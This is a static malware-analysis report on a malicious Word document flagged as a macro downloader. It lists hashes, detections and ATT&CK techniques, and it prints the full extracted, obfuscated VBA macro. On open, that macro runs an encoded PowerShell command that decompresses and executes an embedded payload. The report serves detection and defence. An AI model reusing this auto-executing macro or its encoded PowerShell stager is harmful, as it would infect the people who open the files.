Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a987651649263e30…

MALICIOUS

Office (OLE)

108.2 KB Created: 2018-06-11 14:25:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 087c922dffb56906872094ac37aa8ce6 SHA-1: 5b28939c9122bf63d088da11f34b6ed316171394 SHA-256: a987651649263e3010678a675273c2f628e985fbc6cc4a6a5e5aa0f8e5d34713
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is highly indicative of downloading and executing a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    jiVftP = YjhqHB
    vMrSjSZQSZ = FdRDfzwj + Shell(JjnQHYC + Chr(VTsZrjFki + vbKeyP + FzIDQqD) + "owers" + AfOcWOSfq + rNNYmu + fusaGzF + AwdKK, 36193 - 36193)
    aiUGQo = CLng(33882 * CSng(uWPup + ChrB(sDzHv + CInt(42364))))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub Autoopen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10774 bytes
SHA-256: 621ed4c49aad5ce90c638408c49c8624c36d718fc0bb7e4dad6531a55cc10fcd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ikilJJCtWmNS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function vMrSjSZQSZ()
On Error Resume Next
tfCcf = CLng(25976 * CSng(srdOnu + ChrB(iWzzY + CInt(61633))))
jSzdTl = Int(nzaOGF)
bEICz = TiwKVz
bwOfJ = ZNNFzL
BEuDzh = vCSruZ
iBVmHT = SoivE
jAOwI = CLng(82270 * CSng(fPjtL + ChrB(LdZjXk + CInt(70079))))
uLrTrr = Int(jPMHu)
HvnTi = BSPRb
TIitIK = UfmoX
RwHwzX = QaEilM
jiVftP = YjhqHB
vMrSjSZQSZ = FdRDfzwj + Shell(JjnQHYC + Chr(VTsZrjFki + vbKeyP + FzIDQqD) + "owers" + AfOcWOSfq + rNNYmu + fusaGzF + AwdKK, 36193 - 36193)
aiUGQo = CLng(33882 * CSng(uWPup + ChrB(sDzHv + CInt(42364))))
lJHuHm = Int(PZGsVp)
sjcVYX = ozPwZh
fhjLfS = YNLIBY
UQXZAU = UXmXwB
JrwhFN = rXjpWB
End Function
Sub Autoopen()
On Error Resume Next
VQMWw = CLng(74507 * CSng(jsZZM + ChrB(LKwojR + CInt(81584))))
WPbwL = Int(dtqji)
fwHZA = PiZwW
shYha = IFLEzA
anhqqB = vtzMDW
jBLpXs = DdjvS
vMrSjSZQSZ
aZHbzG = CLng(78955 * CSng(Nhoiwh + ChrB(whLiD + CInt(6992))))
DzObIS = Int(JAuXC)
WlYNw = NTUWGb
FEwUQ = vwVIM
wWEEh = LuSrMJ
hVqJjc = AwMRM
End Sub


Attribute VB_Name = "dIHQAdLqwKJ"
Function AfOcWOSfq()
On Error Resume Next
OafsYB = CLng(38491 * CSng(pFrFjj + ChrB(KdSsEC + CInt(21470))))
pWAWiC = Int(iToTA)
qYkfBT = mZJjwE
uIiEzD = qVXflk
WXRQfE = FiMDi
LQNRX = YQaljV
NXPOHYWT = "He" + "LL -e LgAgACgA" + "IAAkAHMASABlA" + "EwAbAB" + "pAEQAWwAxAF" + "0AKwAkAFM" + "ASABlAEwAb"
QACMAQ = CLng(66982 * CSng(PCsSS + ChrB(IpaVA + CInt(28355))))
RZIGHG = Int(Owlhv)
nTCVMn = IvNUwF
QbzPjG = watGt
XzTQK = jMpmF
NObWM = ICcvnw
urrGwfLCalh = "ABpAEQAWwAxA" + "DMAXQ" + "ArACcAWAA" + "nACkA"
woWpt = CLng(16535 * CSng(SicLc + ChrB(KaWRao + CInt(89625))))
VslcO = Int(wrjbJ)
tLjNW = iqrjmQ
OdhfKU = CRdwkN
CQbzAB = DwrJu
KEOmFV = zcQLVH
WkZHzJOZwi = "IA" + "AoACAATgBlAF" + "cALQBvA" + "GIASgBFAEMAVAA" + "gA" + "FM" + "AeQBzAFQA"
Tcinc = CLng(18161 * CSng(bZPll + ChrB(nKiqW + CInt(30848))))
nzCrqP = Int(fZAQct)
mbQDjl = jfzAU
uowao = SXVZr
NikBZz = sYBjO
qiaESD = VIlqbZ
KqYRwpQ = "ZQBtAC4AaQBPAC" + "4AQwBvAE0Ac" + "ABSAGUAUwBT" + "AGkATw" + "BOAC4AZABlAEYA" + "TABhAFQA"
WbTQBY = CLng(13149 * CSng(HihFz + ChrB(chsEjn + CInt(96061))))
sSDWAb = Int(ttazX)
QEkiqf = XvXND
taslr = dvjBNf
fNOkH = cDLdH
tHZDw = pSAhiA
LjKOZcpf = "ZQB" + "TAFQ" + "AcgBFAEEATQAo" + "AFsAcwBZAF" + "MAVABFAG0ALgBpA" + "E8ALgBt" + "AEUA" + "TQBPAFI"
iMtrh = CLng(7131 * CSng(DSAKI + ChrB(PGbzi + CInt(95850))))
PwfErm = Int(XMXwj)
cZtjL = ZkSbHO
lfjrCz = Qsjhpz
zzquBb = iqNslE
zwWYp = BZoVUz
knzLFjiV = "AWQBTA" + "HQA" + "cgBlAEEATQB" + "dAC" + "AAWwBDAG8Ab" + "gBWAGUAcgBUAF" + "0AOgA6AGYAUgBv" + "AG0" + "AQ" + "gBhAFMAZQA"
zkpMt = CLng(23735 * CSng(blcjFm + ChrB(CpWzRv + CInt(15072))))
vMJAC = Int(YKVaCZ)
zAAwZV = OUqSCz
kSWDEu = ocDtJq
aGGDN = EpVAs
KCbWq = EtnszW
SOAMBUjnE = "2ADQAcwB0A" + "HI" + "AaQBOA" + "EcAKAA" + "nAFYAWgBEAG" + "gAVAA5AHMA" + "dwBFAE0AWAAvAE" + "YAWAArAEkAbABGA" + "GEAagB0AGk" + "AYQB"
AfOcWOSfq = NXPOHYWT + urrGwfLCalh + WkZHzJOZwi + KqYRwpQ + LjKOZcpf + knzLFjiV + SOAMBUjnE
End Function
Function rNNYmu()
On Error Resume Next
iRJYzE = CLng(29281 * CSng(toOjPo + ChrB(uvwVLi + CInt(69665))))
NFMvFw = Int(hGjEj)
vRYvcv = ONnbI
zsviL = umvSl
KhiGH = KFKwiY
iiTQA = lnvzW
bjsZCbGtJiM = "OAGoAUgBGAE" + "4AUQBoAHUAMABGA" + "GQAQgBRAEsAVw" + "B5AGcAYQBkA" + "Eo" + "AMABjAF" + "kANw" + "BFAEkAZgB" + "GAGwAegByAF" + "UATwBWAFAAMwBmA"
cYkpwA = CLng(98120 * CSng(mSNmIF + ChrB(QDwAOW + CInt(9672))))
laWuzz = Int(OkHTi)
aPMwfm = PVhIuf
jwzIP = vwObF
mQDdio = MpnmBj
SNQtOz = flSmz
QvNNbVwG = "FoAMgBnAEIAOA" + "BjAFcAUwAvAGQA" + "NwB6AD" + "MAZgB0AEYAdAA" + "zADcAcQA4AD" + "EALwBpAG0AN" + "wBEAG8ASgA1" + "AFQAWABxAEYA"
GfbBk = CLng(86173 * CSng(zVLrCT + ChrB(SiwJv + CInt(47363))))
FiiVNF = Int(Hilqik)
jOmCJ = lwBYr
jAApIr = ZBzsfW
zrqaBX = wmQKHm
tIjKi = ZfHpd
ajmSltZoOJj = "awA0AHM" + "AQQBX" + "ADEAUwBYAF" + "QAdQA2AFcAcg" + "B4AFgAcwBvA" + "GU" + "AZQBzAFoAVwB" + "wAHMAagB5AEIA" + "dgB"
DLSjVG = CLng(61405 * CSng(FuFbW + ChrB(KhOji + CInt(2014))))
GftQh = Int(DNTkB)
CTYfCu = bQPzC
oKIrQ = Kctzf
SnEcI = JEiTAm
MpaZp = jqLtru
aOpiWv = "NAGYAagBVAEg" + "ATABTAGUA" + "VAB2" + "AHEAdAB0ADE" + "AT" + "QBNAFkAVgBjAD" + "MA"
CMqUJ = CLng(42715 * CSng(GjHzwH + ChrB(pwaUKW + CInt(79403))))
ikCEF = Int(jHtNil)
zNJKdt = chabhO
skZjYh = iGSFQt
bNmPW = skQJjc
bAKbWr = qWUjK
IqjbVlBUtb = "ZQBzAGwARABV" + "ADkAMwB" + "oAFAAV" + "AB5AHAAVQByAFUA" + "NgB"
kSHrF = CLng(25776 * CSng(YBUnL + ChrB(TzHTP + CInt(1017))))
nXdvqi = Int(jjEsG)
RKZcY = SbVaf
QLXLj = EfPQM
LBXoQs = bhFtJY
vLhTSz = ZZWBYz
TaXonuvQjZ = "DADAAe" + "QBBAHAAMAB" + "DADYAWg" + "BCAHQAe" + "AB" + "jADEAMQBaADIA" + "cQBlADUAVQBO" + "AE0AUABjAHoA"
naqBz = CLng(70815 * CSng(XhiLc + ChrB(DpLSOm + CInt(7247))))
twvwP = Int(mbBmsv)
oGPsLn = XiCIp
ukODn = ttucuC
tivjsS = jPjvaC
okPvnI = wCMzzG
GGcTU = "ZABiAEoAU" + "ABlAHUAOAB" + "sA" + "EkAegBrAEQAQgBi" + "AGE" + "AQQBVAGwA" + "TwByAD" + "kASABLAGQA" + "WABxAFQAegBtAC"
AtdUp = CLng(57407 * CSng(kcwKpI + ChrB(iASdkm + CInt(8525))))
ihHul = Int(biisMf)
VFblYG = IRkzz
SBuUO = zqPwM
swItPS = cBIvqs
fABNw = vZfao
dbESDDNpput = "sASABW" + "ADEAVABPADQA" + "UwBXAHUAMABJADI" + "AdAA" + "wAEwA" + "OABtAFY" + "AYQBuAFgAMgBiAD" + "IAawB2ADM"
drirG = CLng(18429 * CSng(qjJvO + ChrB(SUWKJ + CInt(11849))))
cCozp = Int(zCzSR)
EAoluJ = lbBfW
mLipY = VUlma
kCEKN = NsNJBd
cBHUba = SsCqV
PGhIOIWbRtW = "AeAB6A" + "GUAMgBMAEsARw" + "BEA" + "HUAegB" + "6A" + "EYAOQB" + "kAFoAQg" + "BlAFgAVgAwAG"
rNNYmu = bjsZCbGtJiM + QvNNbVwG + ajmSltZoOJj + aOpiWv + IqjbVlBUtb + TaXonuvQjZ + GGcTU + dbESDDNpput + PGhIOIWbRtW
End Function
Function fusaGzF()
On Error Resume Next
aEvNT = CLng(27288 * CSng(iJHzb + ChrB(JRdrd + CInt(19449))))
GwNOz = Int(LDksz)
oAQJw = qnQASt
tNRFo = ZjVFi
hOKCJw = HjmNs
jsnXj = dTFGv
Wjrhbrf = "YAbQByAEgAc" + "gBh" + "AEMASgBvAG" + "MARw" + "ByAEUAW" + "gBaAHIAZAB" + "UADgA" + "Kw" + "AwA"
wvsahT = CLng(91470 * CSng(TPljkG + ChrB(BmZGA + CInt(47338))))
IHmJlw = Int(WcHOH)
CYhBT = GoQHH
dEchfA = VAnkoY
wlwndR = vzdEYm
SIrzfW = tYpwG
MrVmMVO = "FgAYQBwAEM" + "AcQB" + "XAFcAZAB" + "jAFkA" + "SABzAFUAb" + "gA4AFQAa" + "QBKAEwAa" + "wArAEwA" + "MwA3AFAASAAwAE" + "MAd"
lKOnt = CLng(56537 * CSng(UUsddp + ChrB(iEzcH + CInt(26853))))
DswkI = Int(aCNHq)
wqklp = uBOzP
WqNZp = MpsHi
RCkbL = HlmGq
zTJRM = zFciO
LvjYSz = "gBhAFUAUQ" + "Bv" + "ADkAQgBoADUAOQB" + "QA" + "EIAQ" + "wBIAG4A" + "NwA1ACsALwBuAE"
oANnu = CLng(1702 * CSng(rISTmb + ChrB(qwqdb + CInt(30299))))
ucWPud = Int(JcpinR)
KDTqlb = JfzXpt
APwHw = tXrYz
wifdk = KiftWn
oAkzWs = kKINq
bnEPnKZXauk = "kAWQBIAEYAMw" + "BHAGMALwB0AGsAU" + "QBMAHMAKwB" + "EAG0AQQ" + "A2ADgAVQ" + "BIAEUA"
ozumMv = CLng(82870 * CSng(dQdBO + ChrB(fOqHs + CInt(22949))))
KTIaU = Int(unoZSn)
JMksj = vbKjHv
UZVTB = iJiim
rPwbo = LOFOSi
bQQqAj = fMLUR
BSCWoubqUno = "ZgArAEoAdwB" + "2AG8" + "AVABEAFg" + "AZQBLAEE" + "AYwBYAEoASAB" + "EAGsARgB" + "YAG8AMgBn" + "ADIAdABlAG4" + "AUABXAGg"
XwIAf = CLng(65375 * CSng(joLzAW + ChrB(vjCFGr + CInt(42723))))
FOSivl = Int(iEbJUU)
FEikj = mEQqd
FwKGNa = zruiBm
AKHXq = XjbwW
KFoAz = ADfiUw
TPibrzviIci = "AZwByAGQAdAB6AE" + "cA" + "RwAzAFkAUA" + "BtAHg" + "AMQBzAGUA"
iVXXK = CLng(43260 * CSng(zTQcws + ChrB(bUZXMj + CInt(84508))))
tJrwG = Int(jhSpJ)
IjAJQ = pYqoMD
bYiGK = OVScO
NPfOmw = nirvUP
kuTZE = nrfcBb
ofRYLvhFPab = "VQByA" + "GUATgBnAFQAR" + "gBOAEs" + "AQgA2AHMAY" + "wBwAHIAeQB0AGkA" + "RgBQ" + "AHEA"
huopD = CLng(73440 * CSng(CLJKEp + ChrB(QWjdN + CInt(81630))))
XUBtY = Int(sWkDM)
rFstC = ilEYlJ
OXXVv = nkDJam
fVljbG = twUYdh
fEzwjs = JuVAp
TQafiZEKQ = "UAB4AGcAZABpA" + "E4ASABDAGQAW" + "gBRAE0AQwBU" + "AH" + "AAUwBPA" + "E4AZgBiADkAL" + "wBUAGYASQ" + "B3ADQAagA3AFoA" + "YQBtA" + "EIAZABi"
YZnvR = CLng(13213 * CSng(MNAYz + ChrB(MbQCws + CInt(27791))))
IjEKr = Int(XVbQfm)
YTKYG = aZSEa
Efztr = IaoQt
lZMiqm = sLcnHF
rWnoqc = JnOacj
DXKan = "AGIAdwB6AGoA" + "SgBP" + "AEsAZQBoAGIAU" + "gBYADMAawAyAG" + "EA"
XLNIab = CLng(75398 * CSng(JsifUi + ChrB(bsqoNi + CInt(74000))))
AaRFcm = Int(IOCqVA)
ihdqK = vFKHv
LWknW = kYNiI
LuMjU = iMoNNI
WTaru = JJIab
CoWQwfRNz = "Tw" + "B6AFkAawBKAFcAT" + "ABFAEkAQQBTA" + "GsAKwAzADIAUAB3" + "AD0APQ"
fusaGzF = Wjrhbrf + MrVmMVO + LvjYSz + bnEPnKZXauk + BSCWoubqUno + TPibrzviIci + ofRYLvhFPab + TQafiZEKQ + DXKan + CoWQwfRNz
End Function
Function AwdKK()
On Error Resume Next
ajblc = CLng(470 * CSng(YHfPzL + ChrB(hdjfzI + CInt(52150))))
zvKjTR = Int(MDUlLt)
DbMNQk = qDafI
jaccSz = jfavjf
ucvOA = kaISkr
ZIrjBK = SmarSN
NtdPJiJrKvo = "AnACAAK" + "QA" + "sA" + "FsAaQBPAC4AYwB"
QXARhl = CLng(20484 * CSng(OIMiR + ChrB(FSKsbG + CInt(46348))))
ortVw = Int(ICEvn)
TDHADG = RujWWt
NUPwrH = siIXL
DzLDQr = fCKKp
aGcFU = cLtom
qifuKiDHqL = "PAE0AcAB" + "yAEUAcwBTAEkAbw" + "BOAC4AYwBvAG0A" + "UABSAEUAUw" + "BTAGkATwBOAE0Ab" + "wBEAEUAXQA6" + "AD" + "oARABlAG" + "MAbwB"
EjXaU = CLng(97915 * CSng(rQcRif + ChrB(iWFKJ + CInt(10575))))
WjRQd = Int(AidJLZ)
MLzEiL = zEwotZ
sGGji = zizFKq
cImSG = itTWB
zYKRic = EYHcW
YtMSZkTskYZ = "tAH" + "AAUgBFAFMAcwA" + "pACAAfAB" + "GAG8AcgBlAGE" + "AQwBIACA"
jrAdLt = CLng(86807 * CSng(AEpSfi + ChrB(qVYjFG + CInt(63273))))
mRRdo = Int(mUjPra)
iQHcH = zTVzCt
ODjtRU = iOLuQE
NkICo = SIERG
WjpQSO = CXjlmw
oHSKPlLmbf = "AewAgA" + "E4AZQBXAC0A" + "bw" + "BiAEoARQBDAFQ" + "AIABz"
ajUEM = CLng(23330 * CSng(djjMw + ChrB(lTFwR + CInt(76003))))
wQtzt = Int(hBjiwW)
RhioA = uuszF
VzziR = TwiYKq
KjiBu = kqszD
RwNtZF = nuXjj
pGCRBBh = "AFkAUwBUA" + "GUAbQA" + "uAEkATw" + "AuAFMAV" + "AByAGUAYQBt" + "AHIA" + "RQBhAGQAZQB" + "SACgAJA" + "BfACwAIABbAHMA" + "eQBTAHQAZQBtAC4"
RufXZ = CLng(85109 * CSng(sRpXP + ChrB(zvUMdC + CInt(89091))))
AmFFFT = Int(CcnAuj)
KFSSFf = AIqihH
Shtdp = RHZSU
dppCX = JUkPu
zOEzd = bXLZk
dPDutGJGhYv = "AVABlAFgAVAAu" + "AGUATgBDAE8A" + "ZABpAG4ARwBd" + "ADoAOgBBAHM" + "AYwBJAGkAKQAg" + "AH0AIAB8A" + "CAAZgBPA" + "HIARQBBAEMASA"
tWFNLC = CLng(62835 * CSng(wjCCK + ChrB(SJYmj + CInt(6587))))
ijbQRd = Int(qwNDF)
IBPvJi = tNRLBp
zSzYp = HLpiwu
XJBSw = QzRtcd
UtVOP = cGMYw
AzWkmRhT = "AgAHsAIAAkAF8A" + "LgBSAGUAYQBkAF" + "QATwBlAG4A" + "RAAoAC" + "AAKQA"
OZnzLl = CLng(97331 * CSng(JLjLw + ChrB(EZZfY + CInt(43747))))
oLNqbP = Int(SSKlEi)
XcAGIi = rJKJQ
KDjjA = taNZHj
RwrAw = TchwZ
PsjwB = jKMXP
mhGXLECpJ = "gAH0AKQAgAA=="
AwdKK = NtdPJiJrKvo + qifuKiDHqL + YtMSZkTskYZ + oHSKPlLmbf + pGCRBBh + dPDutGJGhYv + AzWkmRhT + mhGXLECpJ
End Function